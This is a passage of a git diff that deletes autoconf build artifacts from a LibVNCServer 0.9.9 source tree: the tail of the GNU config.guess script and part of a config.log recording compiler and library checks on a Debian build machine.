- printf ("ns32k-sequent-dynix\n"); exit (0);
-#endif
-#endif
-
-#if defined (_SEQUENT_)
- struct utsname un;
-
- uname(&un);
-
- if (strncmp(un.version, "V2", 2) == 0) {
- printf ("i386-sequent-ptx2\n"); exit (0);
- }
- if (strncmp(un.version, "V1", 2) == 0) { /* XXX is V1 correct? */
- printf ("i386-sequent-ptx1\n"); exit (0);
- }
- printf ("i386-sequent-ptx\n"); exit (0);
-
-#endif
-
-#if defined (vax)
-# if !defined (ultrix)
-# include <sys/param.h>
-# if defined (BSD)
-# if BSD == 43
- printf ("vax-dec-bsd4.3\n"); exit (0);
-# else
-# if BSD == 199006
- printf ("vax-dec-bsd4.3reno\n"); exit (0);
-# else
- printf ("vax-dec-bsd\n"); exit (0);
-# endif
-# endif
-# else
- printf ("vax-dec-bsd\n"); exit (0);
-# endif
-# else
- printf ("vax-dec-ultrix\n"); exit (0);
-# endif
-#endif
-
-#if defined (alliant) && defined (i860)
- printf ("i860-alliant-bsd\n"); exit (0);
-#endif
-
- exit (1);
-}
-EOF
-
-$CC_FOR_BUILD -o $dummy $dummy.c 2>/dev/null && SYSTEM_NAME=`$dummy` &&
- { echo "$SYSTEM_NAME"; exit; }
-
-# Apollos put the system type in the environment.
-
-test -d /usr/apollo && { echo ${ISP}-apollo-${SYSTYPE}; exit; }
-
-# Convex versions that predate uname can use getsysinfo(1)
-
-if [ -x /usr/convex/getsysinfo ]
-then
- case `getsysinfo -f cpu_type` in
- c1*)
- echo c1-convex-bsd
- exit ;;
- c2*)
- if getsysinfo -f scalar_acc
- then echo c32-convex-bsd
- else echo c2-convex-bsd
- fi
- exit ;;
- c34*)
- echo c34-convex-bsd
- exit ;;
- c38*)
- echo c38-convex-bsd
- exit ;;
- c4*)
- echo c4-convex-bsd
- exit ;;
- esac
-fi
-
-cat >&2 <<EOF
-$0: unable to guess system type
-
-This script, last modified $timestamp, has failed to recognize
-the operating system you are using. It is advised that you
-download the most up to date version of the config scripts from
-
- http://git.savannah.gnu.org/gitweb/?p=config.git;a=blob_plain;f=config.guess;hb=HEAD
-and
- http://git.savannah.gnu.org/gitweb/?p=config.git;a=blob_plain;f=config.sub;hb=HEAD
-
-If the version you run ($0) is already up to date, please
-send the following data and any information you think might be
-pertinent to <config-patches@gnu.org> in order to provide the needed
-information to handle your system.
-
-config.guess timestamp = $timestamp
-
-uname -m = `(uname -m) 2>/dev/null || echo unknown`
-uname -r = `(uname -r) 2>/dev/null || echo unknown`
-uname -s = `(uname -s) 2>/dev/null || echo unknown`
-uname -v = `(uname -v) 2>/dev/null || echo unknown`
-
-/usr/bin/uname -p = `(/usr/bin/uname -p) 2>/dev/null`
-/bin/uname -X = `(/bin/uname -X) 2>/dev/null`
-
-hostinfo = `(hostinfo) 2>/dev/null`
-/bin/universe = `(/bin/universe) 2>/dev/null`
-/usr/bin/arch -k = `(/usr/bin/arch -k) 2>/dev/null`
-/bin/arch = `(/bin/arch) 2>/dev/null`
-/usr/bin/oslevel = `(/usr/bin/oslevel) 2>/dev/null`
-/usr/convex/getsysinfo = `(/usr/convex/getsysinfo) 2>/dev/null`
-
-UNAME_MACHINE = ${UNAME_MACHINE}
-UNAME_RELEASE = ${UNAME_RELEASE}
-UNAME_SYSTEM = ${UNAME_SYSTEM}
-UNAME_VERSION = ${UNAME_VERSION}
-EOF
-
-exit 1
-
-# Local variables:
-# eval: (add-hook 'write-file-hooks 'time-stamp)
-# time-stamp-start: "timestamp='"
-# time-stamp-format: "%:y-%02m-%02d"
-# time-stamp-end: "'"
-# End:
diff --git a/config.log b/config.log
deleted file mode 100644
index 03a702b..0000000
--- a/config.log
+++ /dev/null
@@ -1,3247 +0,0 @@
-This file contains any messages produced by compilers while
-running configure, to aid debugging if configure makes a mistake.
-
-It was created by LibVNCServer configure 0.9.9, which was
-generated by GNU Autoconf 2.69. Invocation command line was
-
- $ ./configure --enable-maintainer-mode
-
-## --------- ##
-## Platform. ##
-## --------- ##
-
-hostname = android-dev
-uname -m = x86_64
-uname -r = 3.13-0.bpo.1-amd64
-uname -s = Linux
-uname -v = #1 SMP Debian 3.13.7-1~bpo70+1 (2014-03-29)
-
-/usr/bin/uname -p = unknown
-/bin/uname -X = unknown
-
-/bin/arch = unknown
-/usr/bin/arch -k = unknown
-/usr/convex/getsysinfo = unknown
-/usr/bin/hostinfo = unknown
-/bin/machine = unknown
-/usr/bin/oslevel = unknown
-/bin/universe = unknown
-
-PATH: /home/san/bin
-PATH: /home/san/bin
-PATH: /usr/local/bin
-PATH: /usr/bin
-PATH: /bin
-PATH: /usr/local/games
-PATH: /usr/games
-
-
-## ----------- ##
-## Core tests. ##
-## ----------- ##
-
-configure:2839: checking for a BSD-compatible install
-configure:2907: result: /usr/bin/install -c
-configure:2918: checking whether build environment is sane
-configure:2968: result: yes
-configure:3109: checking for a thread-safe mkdir -p
-configure:3148: result: /bin/mkdir -p
-configure:3161: checking for gawk
-configure:3191: result: no
-configure:3161: checking for mawk
-configure:3177: found /usr/bin/mawk
-configure:3188: result: mawk
-configure:3199: checking whether make sets $(MAKE)
-configure:3221: result: yes
-configure:3312: checking whether make supports nested variables
-configure:3329: result: yes
-configure:3397: checking for gcc
-configure:3413: found /usr/bin/gcc
-configure:3424: result: gcc
-configure:3653: checking for C compiler version
-configure:3662: gcc --version >&5
-gcc (Debian 4.7.2-5) 4.7.2
-Copyright (C) 2012 Free Software Foundation, Inc.
-This is free software; see the source for copying conditions. There is NO
-warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
-
-configure:3673: $? = 0
-configure:3662: gcc -v >&5
-Using built-in specs.
-COLLECT_GCC=gcc
-COLLECT_LTO_WRAPPER=/usr/lib/gcc/x86_64-linux-gnu/4.7/lto-wrapper
-Target: x86_64-linux-gnu
-Configured with: ../src/configure -v --with-pkgversion='Debian 4.7.2-5' --with-bugurl=file:///usr/share/doc/gcc-4.7/README.Bugs --enable-languages=c,c++,go,fortran,objc,obj-c++ --prefix=/usr --program-suffix=-4.7 --enable-shared --enable-linker-build-id --with-system-zlib --libexecdir=/usr/lib --without-included-gettext --enable-threads=posix --with-gxx-include-dir=/usr/include/c++/4.7 --libdir=/usr/lib --enable-nls --with-sysroot=/ --enable-clocale=gnu --enable-libstdcxx-debug --enable-libstdcxx-time=yes --enable-gnu-unique-object --enable-plugin --enable-objc-gc --with-arch-32=i586 --with-tune=generic --enable-checking=release --build=x86_64-linux-gnu --host=x86_64-linux-gnu --target=x86_64-linux-gnu
-Thread model: posix
-gcc version 4.7.2 (Debian 4.7.2-5)
-configure:3673: $? = 0
-configure:3662: gcc -V >&5
-gcc: error: unrecognized command line option '-V'
-gcc: fatal error: no input files
-compilation terminated.
-configure:3673: $? = 4
-configure:3662: gcc -qversion >&5
-gcc: error: unrecognized command line option '-qversion'
-gcc: fatal error: no input files
-compilation terminated.
-configure:3673: $? = 4
-configure:3693: checking whether the C compiler works
-configure:3715: gcc conftest.c >&5
-configure:3719: $? = 0
-configure:3767: result: yes
-configure:3770: checking for C compiler default output file name
-configure:3772: result: a.out
-configure:3778: checking for suffix of executables
-configure:3785: gcc -o conftest conftest.c >&5
-configure:3789: $? = 0
-configure:3811: result:
-configure:3833: checking whether we are cross compiling
-configure:3841: gcc -o conftest conftest.c >&5
-configure:3845: $? = 0
-configure:3852: ./conftest
-configure:3856: $? = 0
-configure:3871: result: no
-configure:3876: checking for suffix of object files
-configure:3898: gcc -c conftest.c >&5
-configure:3902: $? = 0
-configure:3923: result: o
-configure:3927: checking whether we are using the GNU C compiler
-configure:3946: gcc -c conftest.c >&5
-configure:3946: $? = 0
-configure:3955: result: yes
-configure:3964: checking whether gcc accepts -g
-configure:3984: gcc -c -g conftest.c >&5
-configure:3984: $? = 0
-configure:4025: result: yes
-configure:4042: checking for gcc option to accept ISO C89
-configure:4105: gcc -c -g -O2 conftest.c >&5
-configure:4105: $? = 0
-configure:4118: result: none needed
-configure:4149: checking for style of include used by make
-configure:4177: result: GNU
-configure:4203: checking dependency style of gcc
-configure:4314: result: gcc3
-configure:4330: checking whether gcc and cc understand -c and -o together
-configure:4361: gcc -c conftest.c -o conftest2.o >&5
-configure:4365: $? = 0
-configure:4371: gcc -c conftest.c -o conftest2.o >&5
-configure:4375: $? = 0
-configure:4386: cc -c conftest.c >&5
-configure:4390: $? = 0
-configure:4398: cc -c conftest.c -o conftest2.o >&5
-configure:4402: $? = 0
-configure:4408: cc -c conftest.c -o conftest2.o >&5
-configure:4412: $? = 0
-configure:4430: result: yes
-configure:4461: checking whether make sets $(MAKE)
-configure:4483: result: yes
-configure:4570: checking build system type
-configure:4584: result: x86_64-unknown-linux-gnu
-configure:4604: checking host system type
-configure:4617: result: x86_64-unknown-linux-gnu
-configure:4637: checking for a sed that does not truncate output
-configure:4691: result: /bin/sed
-configure:4694: checking for grep that handles long lines and -e
-configure:4752: result: /bin/grep
-configure:4757: checking for egrep
-configure:4819: result: /bin/grep -E
-configure:4835: checking for ld used by gcc
-configure:4902: result: /usr/bin/ld
-configure:4909: checking if the linker (/usr/bin/ld) is GNU ld
-configure:4924: result: yes
-configure:4929: checking for /usr/bin/ld option to reload object files
-configure:4936: result: -r
-configure:4954: checking for BSD-compatible nm
-configure:5003: result: /usr/bin/nm -B
-configure:5007: checking whether ln -s works
-configure:5011: result: yes
-configure:5018: checking how to recognise dependent libraries
-configure:5194: result: pass_all
-configure:5282: gcc -c -g -O2 -Wall conftest.c >&5
-configure:5285: $? = 0
-configure:5681: checking how to run the C preprocessor
-configure:5712: gcc -E conftest.c
-configure:5712: $? = 0
-configure:5726: gcc -E conftest.c
-conftest.c:11:28: fatal error: ac_nonexistent.h: No such file or directory
-compilation terminated.
-configure:5726: $? = 1
-configure: failed program was:
-| /* confdefs.h */
-| #define PACKAGE_NAME "LibVNCServer"
-| #define PACKAGE_TARNAME "libvncserver"
-| #define PACKAGE_VERSION "0.9.9"
-| #define PACKAGE_STRING "LibVNCServer 0.9.9"
-| #define PACKAGE_BUGREPORT "http://sourceforge.net/projects/libvncserver"
-| #define PACKAGE_URL ""
-| #define PACKAGE "LibVNCServer"
-| #define VERSION "0.9.9"
-| /* end confdefs.h. */
-| #include <ac_nonexistent.h>
-configure:5751: result: gcc -E
-configure:5771: gcc -E conftest.c
-configure:5771: $? = 0
-configure:5785: gcc -E conftest.c
-conftest.c:11:28: fatal error: ac_nonexistent.h: No such file or directory
-compilation terminated.
-configure:5785: $? = 1
-configure: failed program was:
-| /* confdefs.h */
-| #define PACKAGE_NAME "LibVNCServer"
-| #define PACKAGE_TARNAME "libvncserver"
-| #define PACKAGE_VERSION "0.9.9"
-| #define PACKAGE_STRING "LibVNCServer 0.9.9"
-| #define PACKAGE_BUGREPORT "http://sourceforge.net/projects/libvncserver"
-| #define PACKAGE_URL ""
-| #define PACKAGE "LibVNCServer"
-| #define VERSION "0.9.9"
-| /* end confdefs.h. */
-| #include <ac_nonexistent.h>
-configure:5814: checking for ANSI C header files
-configure:5834: gcc -c -g -O2 -Wall conftest.c >&5
-configure:5834: $? = 0
-configure:5907: gcc -o conftest -g -O2 -Wall conftest.c >&5
-configure:5907: $? = 0
-configure:5907: ./conftest
-configure:5907: $? = 0
-configure:5918: result: yes
-configure:5931: checking for sys/types.h
-configure:5931: gcc -c -g -O2 -Wall conftest.c >&5
-configure:5931: $? = 0
-configure:5931: result: yes
-configure:5931: checking for sys/stat.h
-configure:5931: gcc -c -g -O2 -Wall conftest.c >&5
-configure:5931: $? = 0
-configure:5931: result: yes
-configure:5931: checking for stdlib.h
-configure:5931: gcc -c -g -O2 -Wall conftest.c >&5
-configure:5931: $? = 0
-configure:5931: result: yes
-configure:5931: checking for string.h
-configure:5931: gcc -c -g -O2 -Wall conftest.c >&5
-configure:5931: $? = 0
-configure:5931: result: yes
-configure:5931: checking for memory.h
-configure:5931: gcc -c -g -O2 -Wall conftest.c >&5
-configure:5931: $? = 0
-configure:5931: result: yes
-configure:5931: checking for strings.h
-configure:5931: gcc -c -g -O2 -Wall conftest.c >&5
-configure:5931: $? = 0
-configure:5931: result: yes
-configure:5931: checking for inttypes.h
-configure:5931: gcc -c -g -O2 -Wall conftest.c >&5
-configure:5931: $? = 0
-configure:5931: result: yes
-configure:5931: checking for stdint.h
-configure:5931: gcc -c -g -O2 -Wall conftest.c >&5
-configure:5931: $? = 0
-configure:5931: result: yes
-configure:5931: checking for unistd.h
-configure:5931: gcc -c -g -O2 -Wall conftest.c >&5
-configure:5931: $? = 0
-configure:5931: result: yes
-configure:5945: checking dlfcn.h usability
-configure:5945: gcc -c -g -O2 -Wall conftest.c >&5
-configure:5945: $? = 0
-configure:5945: result: yes
-configure:5945: checking dlfcn.h presence
-configure:5945: gcc -E conftest.c
-configure:5945: $? = 0
-configure:5945: result: yes
-configure:5945: checking for dlfcn.h
-configure:5945: result: yes
-configure:6013: checking for g++
-configure:6029: found /usr/bin/g++
-configure:6040: result: g++
-configure:6067: checking for C++ compiler version
-configure:6076: g++ --version >&5
-g++ (Debian 4.7.2-5) 4.7.2
-Copyright (C) 2012 Free Software Foundation, Inc.
-This is free software; see the source for copying conditions. There is NO
-warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
-
-configure:6087: $? = 0
-configure:6076: g++ -v >&5
-Using built-in specs.
-COLLECT_GCC=g++
-COLLECT_LTO_WRAPPER=/usr/lib/gcc/x86_64-linux-gnu/4.7/lto-wrapper
-Target: x86_64-linux-gnu
-Configured with: ../src/configure -v --with-pkgversion='Debian 4.7.2-5' --with-bugurl=file:///usr/share/doc/gcc-4.7/README.Bugs --enable-languages=c,c++,go,fortran,objc,obj-c++ --prefix=/usr --program-suffix=-4.7 --enable-shared --enable-linker-build-id --with-system-zlib --libexecdir=/usr/lib --without-included-gettext --enable-threads=posix --with-gxx-include-dir=/usr/include/c++/4.7 --libdir=/usr/lib --enable-nls --with-sysroot=/ --enable-clocale=gnu --enable-libstdcxx-debug --enable-libstdcxx-time=yes --enable-gnu-unique-object --enable-plugin --enable-objc-gc --with-arch-32=i586 --with-tune=generic --enable-checking=release --build=x86_64-linux-gnu --host=x86_64-linux-gnu --target=x86_64-linux-gnu
-Thread model: posix
-gcc version 4.7.2 (Debian 4.7.2-5)
-configure:6087: $? = 0
-configure:6076: g++ -V >&5
-g++: error: unrecognized command line option '-V'
-g++: fatal error: no input files
-compilation terminated.
-configure:6087: $? = 4
-configure:6076: g++ -qversion >&5
-g++: error: unrecognized command line option '-qversion'
-g++: fatal error: no input files
-compilation terminated.
-configure:6087: $? = 4
-configure:6091: checking whether we are using the GNU C++ compiler
-configure:6110: g++ -c conftest.cpp >&5
-configure:6110: $? = 0
-configure:6119: result: yes
-configure:6128: checking whether g++ accepts -g
-configure:6148: g++ -c -g conftest.cpp >&5
-configure:6148: $? = 0
-configure:6189: result: yes
-configure:6214: checking dependency style of g++
-configure:6325: result: gcc3
-configure:6350: checking how to run the C++ preprocessor
-configure:6377: g++ -E conftest.cpp
-configure:6377: $? = 0
-configure:6391: g++ -E conftest.cpp
-conftest.cpp:22:28: fatal error: ac_nonexistent.h: No such file or directory
-compilation terminated.
-configure:6391: $? = 1
-configure: failed program was:
-| /* confdefs.h */
-| #define PACKAGE_NAME "LibVNCServer"
-| #define PACKAGE_TARNAME "libvncserver"
-| #define PACKAGE_VERSION "0.9.9"
-| #define PACKAGE_STRING "LibVNCServer 0.9.9"
-| #define PACKAGE_BUGREPORT "http://sourceforge.net/projects/libvncserver"
-| #define PACKAGE_URL ""
-| #define PACKAGE "LibVNCServer"
-| #define VERSION "0.9.9"
-| #define STDC_HEADERS 1
-| #define HAVE_SYS_TYPES_H 1
-| #define HAVE_SYS_STAT_H 1
-| #define HAVE_STDLIB_H 1
-| #define HAVE_STRING_H 1
-| #define HAVE_MEMORY_H 1
-| #define HAVE_STRINGS_H 1
-| #define HAVE_INTTYPES_H 1
-| #define HAVE_STDINT_H 1
-| #define HAVE_UNISTD_H 1
-| #define HAVE_DLFCN_H 1
-| /* end confdefs.h. */
-| #include <ac_nonexistent.h>
-configure:6416: result: g++ -E
-configure:6436: g++ -E conftest.cpp
-configure:6436: $? = 0
-configure:6450: g++ -E conftest.cpp
-conftest.cpp:22:28: fatal error: ac_nonexistent.h: No such file or directory
-compilation terminated.
-configure:6450: $? = 1
-configure: failed program was:
-| /* confdefs.h */
-| #define PACKAGE_NAME "LibVNCServer"
-| #define PACKAGE_TARNAME "libvncserver"
-| #define PACKAGE_VERSION "0.9.9"
-| #define PACKAGE_STRING "LibVNCServer 0.9.9"
-| #define PACKAGE_BUGREPORT "http://sourceforge.net/projects/libvncserver"
-| #define PACKAGE_URL ""
-| #define PACKAGE "LibVNCServer"
-| #define VERSION "0.9.9"
-| #define STDC_HEADERS 1
-| #define HAVE_SYS_TYPES_H 1
-| #define HAVE_SYS_STAT_H 1
-| #define HAVE_STDLIB_H 1
-| #define HAVE_STRING_H 1
-| #define HAVE_MEMORY_H 1
-| #define HAVE_STRINGS_H 1
-| #define HAVE_INTTYPES_H 1
-| #define HAVE_STDINT_H 1
-| #define HAVE_UNISTD_H 1
-| #define HAVE_DLFCN_H 1
-| /* end confdefs.h. */
-| #include <ac_nonexistent.h>
-configure:6534: checking for g77
-configure:6564: result: no
-configure:6534: checking for xlf
-configure:6564: result: no
-configure:6534: checking for f77
-configure:6564: result: no
-configure:6534: checking for frt
-configure:6564: result: no
-configure:6534: checking for pgf77
-configure:6564: result: no
-configure:6534: checking for cf77
-configure:6564: result: no
-configure:6534: checking for fort77
-configure:6564: result: no
-configure:6534: checking for fl32
-configure:6564: result: no
-configure:6534: checking for af77
-configure:6564: result: no
-configure:6534: checking for xlf90
-configure:6564: result: no
-configure:6534: checking for f90
-configure:6564: result: no
-configure:6534: checking for pgf90
-configure:6564: result: no
-configure:6534: checking for pghpf
-configure:6564: result: no
-configure:6534: checking for epcf90
-configure:6564: result: no
-configure:6534: checking for gfortran
-configure:6564: result: no
-configure:6534: checking for g95
-configure:6564: result: no
-configure:6534: checking for xlf95
-configure:6564: result: no
-configure:6534: checking for f95
-configure:6564: result: no
-configure:6534: checking for fort
-configure:6564: result: no
-configure:6534: checking for ifort
-configure:6564: result: no
-configure:6534: checking for ifc
-configure:6564: result: no
-configure:6534: checking for efc
-configure:6564: result: no
-configure:6534: checking for pgfortran
-configure:6564: result: no
-configure:6534: checking for pgf95
-configure:6564: result: no
-configure:6534: checking for lf95
-configure:6564: result: no
-configure:6534: checking for ftn
-configure:6564: result: no
-configure:6534: checking for nagfor
-configure:6564: result: no
-configure:6587: checking for Fortran 77 compiler version
-configure:6596: --version >&5
-./configure: line 6598: --version: command not found
-configure:6607: $? = 127
-configure:6596: -v >&5
-./configure: line 6598: -v: command not found
-configure:6607: $? = 127
-configure:6596: -V >&5
-./configure: line 6598: -V: command not found
-configure:6607: $? = 127
-configure:6596: -qversion >&5
-./configure: line 6598: -qversion: command not found
-configure:6607: $? = 127
-configure:6616: checking whether we are using the GNU Fortran 77 compiler
-configure:6629: -c conftest.F >&5
-./configure: line 2319: -c: command not found
-configure:6629: $? = 127
-configure: failed program was:
-| program main
-| #ifndef __GNUC__
-| choke me
-| #endif
-|
-| end
-configure:6638: result: no
-configure:6644: checking whether accepts -g
-configure:6655: -c -g conftest.f >&5
-./configure: line 2319: -c: command not found
-configure:6655: $? = 127
-configure: failed program was:
-| program main
-|
-| end
-configure:6663: result: no
-configure:6697: checking the maximum length of command line arguments
-configure:6806: result: 32768
-configure:6817: checking command to parse /usr/bin/nm -B output from gcc object
-configure:6922: gcc -c -g -O2 -Wall conftest.c >&5
-configure:6925: $? = 0
-configure:6929: /usr/bin/nm -B conftest.o \| sed -n -e 's/^.*[ ]\([ABCDGIRSTW][ABCDGIRSTW]*\)[ ][ ]*\([_A-Za-z][_A-Za-z0-9]*\)$/\1 \2 \2/p' \> conftest.nm
-configure:6932: $? = 0
-configure:6984: gcc -o conftest -g -O2 -Wall conftest.c conftstm.o >&5
-configure:6987: $? = 0
-configure:7025: result: ok
-configure:7029: checking for objdir
-configure:7044: result: .libs
-configure:7136: checking for ar
-configure:7152: found /usr/bin/ar
-configure:7163: result: ar
-configure:7228: checking for ranlib
-configure:7244: found /usr/bin/ranlib
-configure:7255: result: ranlib
-configure:7320: checking for strip
-configure:7336: found /usr/bin/strip
-configure:7347: result: strip
-configure:7633: checking if gcc supports -fno-rtti -fno-exceptions
-configure:7651: gcc -c -g -O2 -Wall -fno-rtti -fno-exceptions conftest.c >&5
-cc1: warning: command line option '-fno-rtti' is valid for C++/ObjC++ but not for C [enabled by default]
-configure:7655: $? = 0
-configure:7668: result: no
-configure:7683: checking for gcc option to produce PIC
-configure:7893: result: -fPIC
-configure:7901: checking if gcc PIC flag -fPIC works
-configure:7919: gcc -c -g -O2 -Wall -fPIC -DPIC conftest.c >&5
-configure:7923: $? = 0
-configure:7936: result: yes
-configure:7964: checking if gcc static flag -static works
-configure:7992: result: yes
-configure:8002: checking if gcc supports -c -o file.o
-configure:8023: gcc -c -g -O2 -Wall -o out/conftest2.o conftest.c >&5
-configure:8027: $? = 0
-configure:8049: result: yes
-configure:8075: checking whether the gcc linker (/usr/bin/ld -m elf_x86_64) supports shared libraries
-configure:8975: result: yes
-configure:8996: checking whether -lc should be explicitly linked in
-configure:9001: gcc -c -g -O2 -Wall conftest.c >&5
-configure:9004: $? = 0
-configure:9019: gcc -shared conftest.o -v -Wl,-soname -Wl,conftest -o conftest 2\>\&1 \| grep -lc \>/dev/null 2\>\&1
-configure:9022: $? = 0
-configure:9034: result: no
-configure:9042: checking dynamic linker characteristics
-configure:9630: result: GNU/Linux ld.so
-configure:9639: checking how to hardcode library paths into programs
-configure:9664: result: immediate
-configure:9678: checking whether stripping libraries is possible
-configure:9683: result: yes
-configure:10199: checking if libtool supports shared libraries
-configure:10201: result: yes
-configure:10204: checking whether to build shared libraries
-configure:10225: result: yes
-configure:10228: checking whether to build static libraries
-configure:10232: result: yes
-configure:10324: creating libtool
-configure:10908: checking for ld used by g++
-configure:10975: result: /usr/bin/ld -m elf_x86_64
-configure:10982: checking if the linker (/usr/bin/ld -m elf_x86_64) is GNU ld
-configure:10997: result: yes
-configure:11048: checking whether the g++ linker (/usr/bin/ld -m elf_x86_64) supports shared libraries
-configure:11928: result: yes
-configure:11950: g++ -c -g -O2 conftest.cpp >&5
-configure:11953: $? = 0
-configure:12072: checking for g++ option to produce PIC
-configure:12346: result: -fPIC
-configure:12354: checking if g++ PIC flag -fPIC works
-configure:12372: g++ -c -g -O2 -fPIC -DPIC conftest.cpp >&5
-configure:12376: $? = 0
-configure:12389: result: yes
-configure:12417: checking if g++ static flag -static works
-configure:12445: result: yes
-configure:12455: checking if g++ supports -c -o file.o
-configure:12476: g++ -c -g -O2 -o out/conftest2.o conftest.cpp >&5
-configure:12480: $? = 0
-configure:12502: result: yes
-configure:12528: checking whether the g++ linker (/usr/bin/ld -m elf_x86_64) supports shared libraries
-configure:12553: result: yes
-configure:12620: checking dynamic linker characteristics
-configure:13208: result: GNU/Linux ld.so
-configure:13217: checking how to hardcode library paths into programs
-configure:13242: result: immediate
-configure:19284: checking for ar
-configure:19303: found /usr/bin/ar
-configure:19316: result: /usr/bin/ar
-configure:19338: checking for __b64_ntop in -lresolv
-configure:19363: gcc -o conftest -g -O2 -Wall conftest.c -lresolv >&5
-configure:19363: $? = 0
-configure:19372: result: yes
-configure:19475: checking thenonexistentheader.h usability
-configure:19475: gcc -c -g -O2 -Wall conftest.c >&5
-conftest.c:56:34: fatal error: thenonexistentheader.h: No such file or directory
-compilation terminated.
-configure:19475: $? = 1
-configure: failed program was:
-| /* confdefs.h */
-| #define PACKAGE_NAME "LibVNCServer"
-| #define PACKAGE_TARNAME "libvncserver"
-| #define PACKAGE_VERSION "0.9.9"
-| #define PACKAGE_STRING "LibVNCServer 0.9.9"
-| #define PACKAGE_BUGREPORT "http://sourceforge.net/projects/libvncserver"
-| #define PACKAGE_URL ""
-| #define PACKAGE "LibVNCServer"
-| #define VERSION "0.9.9"
-| #define STDC_HEADERS 1
-| #define HAVE_SYS_TYPES_H 1
-| #define HAVE_SYS_STAT_H 1
-| #define HAVE_STDLIB_H 1
-| #define HAVE_STRING_H 1
-| #define HAVE_MEMORY_H 1
-| #define HAVE_STRINGS_H 1
-| #define HAVE_INTTYPES_H 1
-| #define HAVE_STDINT_H 1
-| #define HAVE_UNISTD_H 1
-| #define HAVE_DLFCN_H 1
-| #define ALLOW24BPP 1
-| /* end confdefs.h. */
-| #include <stdio.h>
-| #ifdef HAVE_SYS_TYPES_H
-| # include <sys/types.h>
-| #endif
-| #ifdef HAVE_SYS_STAT_H
-| # include <sys/stat.h>
-| #endif
-| #ifdef STDC_HEADERS
-| # include <stdlib.h>
-| # include <stddef.h>
-| #else
-| # ifdef HAVE_STDLIB_H
-| # include <stdlib.h>
-| # endif
-| #endif
-| #ifdef HAVE_STRING_H
-| # if !defined STDC_HEADERS && defined HAVE_MEMORY_H
-| # include <memory.h>
-| # endif
-| # include <string.h>
-| #endif
-| #ifdef HAVE_STRINGS_H
-| # include <strings.h>
-| #endif
-| #ifdef HAVE_INTTYPES_H
-| # include <inttypes.h>
-| #endif
-| #ifdef HAVE_STDINT_H
-| # include <stdint.h>
-| #endif
-| #ifdef HAVE_UNISTD_H
-| # include <unistd.h>
-| #endif
-| #include <thenonexistentheader.h>
-configure:19475: result: no
-configure:19475: checking thenonexistentheader.h presence
-configure:19475: gcc -E conftest.c
-conftest.c:23:34: fatal error: thenonexistentheader.h: No such file or directory
-compilation terminated.
-configure:19475: $? = 1
-configure: failed program was:
-| /* confdefs.h */
-| #define PACKAGE_NAME "LibVNCServer"
-| #define PACKAGE_TARNAME "libvncserver"
-| #define PACKAGE_VERSION "0.9.9"
-| #define PACKAGE_STRING "LibVNCServer 0.9.9"
-| #define PACKAGE_BUGREPORT "http://sourceforge.net/projects/libvncserver"
-| #define PACKAGE_URL ""
-| #define PACKAGE "LibVNCServer"
-| #define VERSION "0.9.9"
-| #define STDC_HEADERS 1
-| #define HAVE_SYS_TYPES_H 1
-| #define HAVE_SYS_STAT_H 1
-| #define HAVE_STDLIB_H 1
-| #define HAVE_STRING_H 1
-| #define HAVE_MEMORY_H 1
-| #define HAVE_STRINGS_H 1
-| #define HAVE_INTTYPES_H 1
-| #define HAVE_STDINT_H 1
-| #define HAVE_UNISTD_H 1
-| #define HAVE_DLFCN_H 1
-| #define ALLOW24BPP 1
-| /* end confdefs.h. */
-| #include <thenonexistentheader.h>
-configure:19475: result: no
-configure:19475: checking for thenonexistentheader.h
-configure:19475: result: no
-configure:19505: checking for crypt
-configure:19505: gcc -o conftest -g -O2 -Wall conftest.c >&5
-/tmp/ccCsNDXi.o: In function `main':
-/data/src/android-master/external/libvncserver/conftest.c:57: undefined reference to `crypt'
-collect2: error: ld returned 1 exit status
-configure:19505: $? = 1
-configure: failed program was:
-| /* confdefs.h */
-| #define PACKAGE_NAME "LibVNCServer"
-| #define PACKAGE_TARNAME "libvncserver"
-| #define PACKAGE_VERSION "0.9.9"
-| #define PACKAGE_STRING "LibVNCServer 0.9.9"
-| #define PACKAGE_BUGREPORT "http://sourceforge.net/projects/libvncserver"
-| #define PACKAGE_URL ""
-| #define PACKAGE "LibVNCServer"
-| #define VERSION "0.9.9"
-| #define STDC_HEADERS 1
-| #define HAVE_SYS_TYPES_H 1
-| #define HAVE_SYS_STAT_H 1
-| #define HAVE_STDLIB_H 1
-| #define HAVE_STRING_H 1
-| #define HAVE_MEMORY_H 1
-| #define HAVE_STRINGS_H 1
-| #define HAVE_INTTYPES_H 1
-| #define HAVE_STDINT_H 1
-| #define HAVE_UNISTD_H 1
-| #define HAVE_DLFCN_H 1
-| #define ALLOW24BPP 1
-| /* end confdefs.h. */
-| /* Define crypt to an innocuous variant, in case <limits.h> declares crypt.
-| For example, HP-UX 11i <limits.h> declares gettimeofday. */
-| #define crypt innocuous_crypt
-|
-| /* System header to define __stub macros and hopefully few prototypes,
-| which can conflict with char crypt (); below.
-| Prefer <limits.h> to <assert.h> if __STDC__ is defined, since
-| <limits.h> exists even on freestanding compilers. */
-|
-| #ifdef __STDC__
-| # include <limits.h>
-| #else
-| # include <assert.h>
-| #endif
-|
-| #undef crypt
-|
-| /* Override any GCC internal prototype to avoid an error.
-| Use char because int might match the return type of a GCC
-| builtin and then its argument prototype would still apply. */
-| #ifdef __cplusplus
-| extern "C"
-| #endif
-| char crypt ();
-| /* The GNU C library defines this for functions which it implements
-| to always fail with ENOSYS. Some functions are actually named
-| something starting with __ and the normal name is an alias. */
-| #if defined __stub_crypt || defined __stub___crypt
-| choke me
-| #endif
-|
-| int
-| main ()
-| {
-| return crypt ();
-| ;
-| return 0;
-| }
-configure:19505: result: no
-configure:19515: checking for crypt in -lcrypt
-configure:19540: gcc -o conftest -g -O2 -Wall conftest.c -lcrypt >&5
-configure:19540: $? = 0
-configure:19549: result: yes
-configure:19592: checking for RAND_file_name in -lcrypto
-configure:19617: gcc -o conftest -g -O2 -Wall conftest.c -lcrypto >&5
-/usr/bin/ld: cannot find -lcrypto
-collect2: error: ld returned 1 exit status
-configure:19617: $? = 1
-configure: failed program was:
-| /* confdefs.h */
-| #define PACKAGE_NAME "LibVNCServer"
-| #define PACKAGE_TARNAME "libvncserver"
-| #define PACKAGE_VERSION "0.9.9"
-| #define PACKAGE_STRING "LibVNCServer 0.9.9"
-| #define PACKAGE_BUGREPORT "http://sourceforge.net/projects/libvncserver"
-| #define PACKAGE_URL ""
-| #define PACKAGE "LibVNCServer"
-| #define VERSION "0.9.9"
-| #define STDC_HEADERS 1
-| #define HAVE_SYS_TYPES_H 1
